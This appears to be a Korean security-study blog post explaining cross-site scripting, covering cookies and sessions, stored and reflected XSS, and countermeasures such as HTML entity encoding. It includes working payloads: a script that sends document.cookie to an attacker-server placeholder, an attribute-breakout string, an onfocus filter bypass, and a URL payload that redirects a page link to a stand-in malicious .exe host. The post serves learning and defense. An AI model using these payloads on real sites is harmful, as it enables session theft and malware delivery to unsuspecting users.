XSS (Cross Site Scripting)
취약점
- 웹페이지가 사용자에게 입력 받은 데이터를 필터링하지 않고 그대로 동적으로 생성된 웹페이지에 포함하여 사용자에게 재전송 시 발생
- 클라이언트 측에서 실행되는 언어로 작성된 악성 스크립트 코드를 포함시켜 전달 (브라우저에서 실행)
- 악성 스크립트 코드가 웹 브라우저에서 실행됨
피해
- 쿠키를 통한 웹 사용자 정보 추출
- 과부화를 일으켜 서버를 다운시킴
- 피싱 공격의 일종으로 활용
Cookie | 쿠기
HTTP 프로토콜은 모든 요청 / 응답이 독립적으로 시행된다.
따라서 HTTP 프로토콜은 사용자의 요청이 누구의 것인지 구분할 수 없다.
어떤 페이지 접속 시 사용자의 인증 정보가 필요해지면서 해결하기 위해 만든 것이 쿠키이다.
인증의 성공 여부 등의 정보를 초기 인터넷에서는 쿠키를 이용하여 관리했다.
- 사용자가 인터넷 웹 사이트에 방문할 때 생기는 4KB 이하의 파일
- 클라이언트가 웹 사이트에 방문하면 접근 기록이 클라이언트에 파일로 저장
- 사용자와 웹 사이트를 연결해주는 정보 포함
쿠키 정보를 보고 사용자가 누구인지 등에 대한 정보를 관리했다.
Set-Cookie: Name=Value; expires=Date;
path=PATH; domain=DOMAIN_NAME;
Secure
예전에는 사용자의 로그인 / 비밀번호 정보까지 넣어서 사용하기도 하였음
쿠키 확인
- C:\users\user\AppData\Foaming\Microsoft\Windows\Cookies 에 저장됨
- 사용자이름@접속한 사이트 형태로 구성
- 쿠키를 만든 사이트의 도메인 이름, 그 사이트를 구분하는 숫자, 쿠키의 만기일 등의 정보 구성
쿠키의 용도
- 사이트 개인화
- 장바구니 시스템
- 웹 사이트 이용 방식 추적
- 타겟 마케팅
쿠키 : 사용자마다 개별적으로 생성되어 로컬디스크에 저장됨 > 사용자의 정보를 사용자가 관리함, 서버는 접속하기 전까지 정보 모름
세션 : 사용자가 아니라 서버에 의해서 관리됨. 서버가 새로운 요청이 생기면 요청에 대해 세션 정보를 만들고 세션 ID를 통해 사용자가 어떤 사용자임을 구분함. 세션은 접속이 유효한 경우에만 사용할 수 있는 임시 정보이다.
Stored XSS (저장형)
- 가장 일반적인 XSS 공격 유형
- ex) 게시판 또는 자료실과 같이 사용자가 글을 저장할 수 있는 부분에 스크립트 코드 입력 : 웹 애플리케이션 상에 스크립트 저장 방식
다른 사용자가 해당 게시물을 열람하는 순간 공격자의 악성 스크립트 실행 - 공격자가 올린 스크립트를 실행하는 사람은 모두 공격당할 수 있음
예시
본문에
<script>alert(document.cookie)</script>
를 실행하면, 해당 글을 들어가면 alert에 쿠키 정보가 출력됨
document.cookie : 해당 사이트에 접속한 사이트의 쿠키 정보 중 name-value 파트가 출력됨
해당 글의 내용이 보이지 않고 자동으로 스크립트가 실행된다.
XSS를 이용한 쿠키 획득
위 예시를 이용하면 XSS 공격이 가능함을 알 수 있다.
이를 이용하여 사용자의 쿠키 정보가 해커의 웹서버로 전송하도록 만들 수 있다.
글을 읽는 사람들은 본문 내용을 보이게 하고, cookie 값을 공격자 서버에 전송한다.
<script>url="공격자 서버"+document.cookie;window.open(url,width=0,height=0);</script>
해당 스크립트를 넣어서 실행할 수 있음
사용자도 인지하지 못하는 사이에 사용자의 쿠키 정보가 공격자에게 전달된다.
Reflected XSS (반사형)
- URL의 변수, 사용자 입력 폼 등에 스크립트 코드를 입력하여 입력하는 동시에 실행 결과가 바로 전해지는 공격 기법
- ex) 입력값을 버튼으로 전달하는 곳에 스크립트를 전달하면 스크립트 코드가 그대로 전달되어 공격할 수 있음
어떤 입력을 받는 부분에 다른 사이트를 여는 script를 넣어서 사용할 수 있는데,
이 부분이 "완벽한" html 파일로 script를 넣어 완성 시켜야한다.
따라서 script를 넣는 부분을 포함하여 웹페이지 자체의 스크립트까지 포함하여 완성된 html 파일이 되는 입력을 만들어야한다.
예시
만약, 어떤 입력 창이 있고, 이를 버튼을 누르면 처리하는 것이 있다고 생각하자.
원래 html 코드는
<input ~~~ value=''>
이런 입력창을 가지고 있을 것이다.
만약 무언가를 입력한다면 value의 '~~' 이 사이에 "값"이 들어가게 될 것이다.
따라서, 우리는 srcipt를 '에서 시작하여 '에서 끝나도록 짜서 넣어야한다.
111'><script>window.open('http://www.naver.com')</script><font size='4
이런 식으로 입력을 넣어준다면, "완성된" html 코드를 만들 수 있다.
취약점 분석
get 방식으로 이름을 받아오는 경우
ex) http://example.com/index.php?user=<script>alert(123)</script>
이런 경우 공격이 가능하다는 것을 확인할 수 있다.
실제 공격 코드를 보겠다.
http://example.com/index.php?user=<script>window.onload=function()
{var AllLinks=document.getElemtsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe";}</script>
새로운 웹 페이지가 브라우저에 로드가 될 때 다음 함수 기능을 수행한다.
태그가 <a>인 링크를 연결할 때 사용하는 객체들을 AllLinks 라는 배열에 두고, 이 중에서도 인덱스가 0인 객체를 다른 url 주소로 바꾼다.
html 인코딩 값으로 바꾸어 url에 넣으면 XSS인지 알기가 힘들어진다.
즉, 이러한 링크를 클릭하면 악성 코드가 설치되는 등 피해를 입기 쉽다.
XSS 취약점
스크립트 검증
블랙리스트 기반의 필터링 수행
다양한 필터링을 우회하기 위한 테스팅 코드를 시도함
태그 속성 활용 value = "user input"> 형식이므로
"onfocus = "alert(document.cookie) 등의 입력을 받으면 input 필드에 접근하면 cookie 값을 띄운다.
취약 유형
- 개인 소개와 같은 많은 양의 글을 작성할 수 있는 부분
- 에러 메시지 출력
- 사용자의 정보를 입력해 다시 보여주는 부분 : id 입력, id 출력
- 다른 사용자의 개인 프로필 열람 : 열람하는 모든 접속자의 쿠키 정보 수집
- 고객 불만 센터 : XSS를 바로 관리자에게 전송하는 결과 - 불만 센터 결과는 관리자가 확인하므로
- 메일 서비스를 이용한 XSS 공격
- XSS를 이용한 DoS 공격 : XSS 취약점이 있다면 무한 루프 발생
대응책
피공격자가 공격 인지가 어렵다는 특징 때문에 대응책을 철저하게 마련해야한다.
- HTTP 헤더, 쿠키, 쿼리 스트링, 폼필드, 등 모든 인자들에 대해 허용된 유형의 데이터만 받도록 입력값을 검증
- 입력 데이터의 길이, 문자 형식에 대한 검증이 필요하다
- <script>문자열이 들어오면, 다른 문자로 변환하여 스크립트가 실행되지 못하도로 ㄱ한다
- <> 등과 문자 참조 (HMTL entity)로 필터링 해야한다.
- 서버에서 브라우저로 전송 시, 문자 인코딩 ex) %3c 등도 인코딩해야한다.
ex) < 는 <, > 는 >
ASP
- 특수 문자를 entity 형태로 변환
- Server.HTMLEncode("스크립트")
PHP
- htmlspecialchars : returns an HTML escaped version of a stirng
- <, > 등으로 변환
그 외에도 AntiXSS 라이브러리, OWASP ESAPI 라이브러리 등이 있다.
'Hacking > Web Hacking' 카테고리의 다른 글
SQL Injection (0) | 2024.10.15 |
---|---|
취약점 & 정보 수집 (2) | 2024.10.14 |
패킷 변조 (0) | 2024.07.16 |